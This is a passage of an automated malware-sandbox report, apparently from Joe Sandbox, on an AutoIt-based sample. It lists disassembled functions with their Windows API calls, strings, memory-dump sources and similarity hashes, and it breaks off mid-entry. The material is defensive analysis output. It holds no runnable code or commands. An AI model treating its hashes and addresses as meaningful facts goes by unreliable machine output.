Instruction Fuzzy Hash: 8F11F6396E9707BBA7055B549CC39EE67DCDF36364B30402BF504AB282D7B05D905268

Function 0021DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0021DE42
gethostname.WSOCK32(?,00000100), ref: 0021DE5C
gethostbyname.WSOCK32(?), ref: 0021DE69
inet_ntoa.WSOCK32(?), ref: 0021DEAB
_strcat.LIBCMT ref: 0021DEB9
WSACleanup.WSOCK32 ref: 0021DEDE

Strings

0.0.0.0, xrefs: 0021DE87

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 8d8145ddbc47da37e13f0a73c84f6249313b04b1047a969bf42c2ba939a84f36
Instruction ID: 67b7200d350a69a6b89bee2d6ce9c31e78d3c2f126fc02f3f95df33378d3a87b
Opcode Fuzzy Hash: 8d8145ddbc47da37e13f0a73c84f6249313b04b1047a969bf42c2ba939a84f36
Instruction Fuzzy Hash: 42113631914105EFDB24AF74EC4AEEE77ECDF35315F10016AF4059A191EF758AD18A50

Function 00249F86 Relevance: 12.3, APIs: 8, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

GetSystemMetrics.USER32(0000000F), ref: 00249FC7
GetSystemMetrics.USER32(0000000F), ref: 00249FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0024A224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0024A242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0024A263
ShowWindow.USER32(00000003,00000000), ref: 0024A282
InvalidateRect.USER32(?,00000000,00000001), ref: 0024A2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 0024A2CA

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: dd46c88d77125fd3391becb2b2663074ceb4344ef79967fde5beadeb4b59f9c5
Instruction ID: 8197ca953fadc4d8f5b11db3c8446532eae1136ab6e179dc81eb884d816d74ff
Opcode Fuzzy Hash: dd46c88d77125fd3391becb2b2663074ceb4344ef79967fde5beadeb4b59f9c5
Instruction Fuzzy Hash: E1B1ED35640216EFDF18CF68C9897AE3BB2FF44701F088069EC49AF295D771AA60DB51

Function 0021ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0021ED2A
_wcslen.LIBCMT ref: 0021ED3B
_wcslen.LIBCMT ref: 0021ED79
_wcslen.LIBCMT ref: 0021EDAF
_wcslen.LIBCMT ref: 0021EDDF
_wcslen.LIBCMT ref: 0021EDEF
_wcslen.LIBCMT ref: 0021EE2B
_wcslen.LIBCMT ref: 0021EE5A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 95b66c20a345bc005e15b6d24dbc4d572b0327fc4504ee7779d6b565bd1f1f60
Instruction ID: 823afe20410007e5a3742782b5d599f338cb687a311cc4aaba410fad5df793a4
Opcode Fuzzy Hash: 95b66c20a345bc005e15b6d24dbc4d572b0327fc4504ee7779d6b565bd1f1f60
Instruction Fuzzy Hash: 7D418065C1021876CB11EBB48C8AACFB7ACAF65710F508463F918E3221FB34E295C7E5

Function 001CF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0020682C,00000004,00000000,00000000), ref: 001CF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0020682C,00000004,00000000,00000000), ref: 0020F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0020682C,00000004,00000000,00000000), ref: 0020F454

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: f91b784d93fcd8f3a218fff9e8088229af1cb399e88036c3111a01c6a030095d
Instruction ID: aa1ee2e9068f532d63faca9adaf679b4f4c36c665c30262e443408eb368cf8a4
Opcode Fuzzy Hash: f91b784d93fcd8f3a218fff9e8088229af1cb399e88036c3111a01c6a030095d
Instruction Fuzzy Hash: 76412B35224780BBCFB89B2C998CF2A7B97AB66318F15403CF547569A1C735E882CB11

Function 00242D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00242D1B
GetDC.USER32(00000000), ref: 00242D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00242D2E
ReleaseDC.USER32(00000000,00000000), ref: 00242D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00242D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00242D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00245A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00242DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00242DE1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 81b6b72d9a61a72539de74ed303be23878ab782697ed7ec806ea84fcda083548
Instruction ID: 8a06d5c5b4e6a0c2069fc0bed7ac5847f965522735a27d950869ab625d5b7451
Opcode Fuzzy Hash: 81b6b72d9a61a72539de74ed303be23878ab782697ed7ec806ea84fcda083548
Instruction Fuzzy Hash: 2E31CE76212210BFEB258F55DC8AFEB3FADEF4A711F044055FE089A291C6B58C50CBA0

Function 00215622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00215637
_memcmp.LIBVCRUNTIME ref: 00215659
_memcmp.LIBVCRUNTIME ref: 00215671
_memcmp.LIBVCRUNTIME ref: 00215684
_memcmp.LIBVCRUNTIME ref: 0021569E
_memcmp.LIBVCRUNTIME ref: 002156B1
_memcmp.LIBVCRUNTIME ref: 002156C9
_memcmp.LIBVCRUNTIME ref: 002156E4

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 06681c7a8174d117d866cb374d7f91c3ab576155d7dc2df0487d0dfaf45aa243
Instruction ID: c33331b0bcfcb911c9fb800ce9d75beb0ffe631a610018b6c9b3a28f2e426306
Opcode Fuzzy Hash: 06681c7a8174d117d866cb374d7f91c3ab576155d7dc2df0487d0dfaf45aa243
Instruction Fuzzy Hash: 1D21FC6167092AFBD21899118E82FFA73DDBFF2394F440062FD045A682F760ED7181E5

Function 00234FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00235007
NULL Pointer assignment, xrefs: 0023502E, 00235383

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 68c2a1413eed57fbd570ac0e74fa635128d7ed4fcc2f962ea788cdee5273debe
Instruction ID: 9d292ea1bee746d222b5a9a6ee50a44443076c3475ff17cdb0d8fc6fe9eadcb8
Opcode Fuzzy Hash: 68c2a1413eed57fbd570ac0e74fa635128d7ed4fcc2f962ea788cdee5273debe
Instruction Fuzzy Hash: 9ED1D3B1A1061A9FDF14CFA8C880FAEB7B5FF48344F148069E919AB281E771DD51CB90

Function 001F1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 001F15CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 001F1651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001F16E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 001F16FB

Part of subcall function 001E3820: RtlAllocateHeap.NTDLL(00000000,?,00281444,?,001CFDF5,?,?,001BA976,00000010,00281440,001B13FC,?,001B13C6,?,001B1129), ref: 001E3852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 001F1777
__freea.LIBCMT ref: 001F17A2
__freea.LIBCMT ref: 001F17AE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 98387d1eb3a1cb264be7d3d54c401514f67d96d1ca89fe51fe280ac0ade15752
Instruction ID: 6858600090b3e485cd7630cbd67c8b57043948bd7b09b956211e8e41774dba25
Opcode Fuzzy Hash: 98387d1eb3a1cb264be7d3d54c401514f67d96d1ca89fe51fe280ac0ade15752
Instruction Fuzzy Hash: 4991D472E0021EFADF249EB5C881AFE7BB5AF5A710F180659EA06E7150DB35DC40CB60

Function 00234523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00234648
VariantInit.OLEAUT32(?), ref: 00234749
VariantClear.OLEAUT32(?), ref: 00234753
VariantClear.OLEAUT32(?), ref: 002347B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 002345D8, 00234706, 002347BE
Incorrect Object type in FOR..IN loop, xrefs: 0023472C

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 1ec43cde462f213220ae0f5cda29efa27691a10e9d5bfa6cb876cc94b0b1323c
Instruction ID: ae48cb915d76f649bec304ce7093606b37173506d9d89f7f1ecf5041abffc444
Opcode Fuzzy Hash: 1ec43cde462f213220ae0f5cda29efa27691a10e9d5bfa6cb876cc94b0b1323c
Instruction Fuzzy Hash: 4191B4B1E20215ABDF24DFA4CC45FAEBBB8EF46714F108599F505AB280D770A951CFA0

Function 00221187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0022125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00221284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 002212A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 002212D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0022135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 002213C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00221430

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 16fd3b3c22efe05ac42267e5e9f3224a365230a2424d99b4c3233bb6a2c4f38b
Instruction ID: c55fb7394279ab455df819bcf6adef689edfae07f60555f362bb763315080f17
Opcode Fuzzy Hash: 16fd3b3c22efe05ac42267e5e9f3224a365230a2424d99b4c3233bb6a2c4f38b
Instruction Fuzzy Hash: D391D275910229AFEB00DFD8E884FBE77B5FF65314F104129E900E7291D774A961CB90

Function 001C948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 6bdd232932ba77679222b6257325b2b1c80f6d76a652428c6f01334a0b3019b4
Instruction ID: 58c4f06e0f5f15b1d9132009da857a83fe91c96da7fa653e96c2506d4b75d7bf
Opcode Fuzzy Hash: 6bdd232932ba77679222b6257325b2b1c80f6d76a652428c6f01334a0b3019b4
Instruction Fuzzy Hash: AC912671E00219EFCB14CFA9CC88AEEBBB8FF59320F14855AE515B7291D774A941CB60

Function 00233947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0023396B
CharUpperBuffW.USER32(?,?), ref: 00233A7A
_wcslen.LIBCMT ref: 00233A8A
VariantClear.OLEAUT32(?), ref: 00233C1F

Part of subcall function 00220CDF: VariantInit.OLEAUT32(00000000), ref: 00220D1F
Part of subcall function 00220CDF: VariantCopy.OLEAUT32(?,?), ref: 00220D28
Part of subcall function 00220CDF: VariantClear.OLEAUT32(?), ref: 00220D34

Strings

Incorrect Parameter format, xrefs: 002339A6, 00233BA1
AUTOIT.ERROR, xrefs: 00233A80, 00233A85

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: ce65568379898425162f89a0c9ec87f23121a81c48ae648c4adeaa0e60bdaaf2
Instruction ID: 5de5a82ea740cc031ceca79ba36ecf1f5ce91728b54c6b7dec6955fcb5ba4ef2
Opcode Fuzzy Hash: ce65568379898425162f89a0c9ec87f23121a81c48ae648c4adeaa0e60bdaaf2
Instruction Fuzzy Hash: 529169B46183059FC704DF24C48196AB7E5FF99314F14886EF88A9B351DB30EE56CB92

Function 00234BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0021000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?,?,0021035E), ref: 0021002B
Part of subcall function 0021000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?), ref: 00210046
Part of subcall function 0021000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?,?), ref: 00210054
Part of subcall function 0021000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0020FF41,80070057,?), ref: 00210064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00234C51
_wcslen.LIBCMT ref: 00234D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00234DCF
CoTaskMemFree.OLE32(?), ref: 00234DDA

Strings

NULL Pointer assignment, xrefs: 00234E23, 00234E52

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 997d5cf7b880abdae0eca16018062c2e5f98158edd96cd7ab5fb0d10a56ecbcc
Instruction ID: 363e19c8d822627530ccfad4f52d49d13051fa99da1f5c3170327b4dd08da5dd
Opcode Fuzzy Hash: 997d5cf7b880abdae0eca16018062c2e5f98158edd96cd7ab5fb0d10a56ecbcc
Instruction Fuzzy Hash: EA914AB1D1021DAFDF14EFA4D881AEEB7B8FF18304F10416AE915A7251DB70AA55CF60

Function 002420FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00242183
GetMenuItemCount.USER32(00000000), ref: 002421B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 002421DD
_wcslen.LIBCMT ref: 00242213
GetMenuItemID.USER32(?,?), ref: 0024224D
GetSubMenu.USER32(?,?), ref: 0024225B

Part of subcall function 00213A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00213A57
Part of subcall function 00213A3D: GetCurrentThreadId.KERNEL32 ref: 00213A5E
Part of subcall function 00213A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,002125B3), ref: 00213A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 002422E3

Part of subcall function 0021E97B: Sleep.KERNEL32 ref: 0021E9F3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 5be623978a204d31d8f052ec8562f94fab646f2b6548f8d0c1eb6a14eb1c6568
Instruction ID: e749ba8e557948468d2f5262907c7ad444c16f64eee5dfc347bdc654e4b72e3e
Opcode Fuzzy Hash: 5be623978a204d31d8f052ec8562f94fab646f2b6548f8d0c1eb6a14eb1c6568
Instruction Fuzzy Hash: 45717D75A10205EFCB14DF69C845AAEBBF5AF88310F508499F81AEB341DB74ED458B90

Function 00247E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(013A5480), ref: 00247F37
IsWindowEnabled.USER32(013A5480), ref: 00247F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0024801E
SendMessageW.USER32(013A5480,000000B0,?,?), ref: 00248051
IsDlgButtonChecked.USER32(?,?), ref: 00248089
GetWindowLongW.USER32(013A5480,000000EC), ref: 002480AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 002480C3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: ed4bd216018ece0a461f521c0f2a097aac0e212da6336e90df88c7b91371dd19
Instruction ID: 65e8e60074e0a6d843927edd55ceb4b96b63be042ef741b3e61a510bdac0a35e
Opcode Fuzzy Hash: ed4bd216018ece0a461f521c0f2a097aac0e212da6336e90df88c7b91371dd19
Instruction Fuzzy Hash: 5871D334629205AFEB29DF54CC84FBE7BB9EF09300F15445AF966572A1CB31AC69CB10

Function 0021AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0021AEF9
GetKeyboardState.USER32(?), ref: 0021AF0E
SetKeyboardState.USER32(?), ref: 0021AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0021AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0021AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0021AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0021B020

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
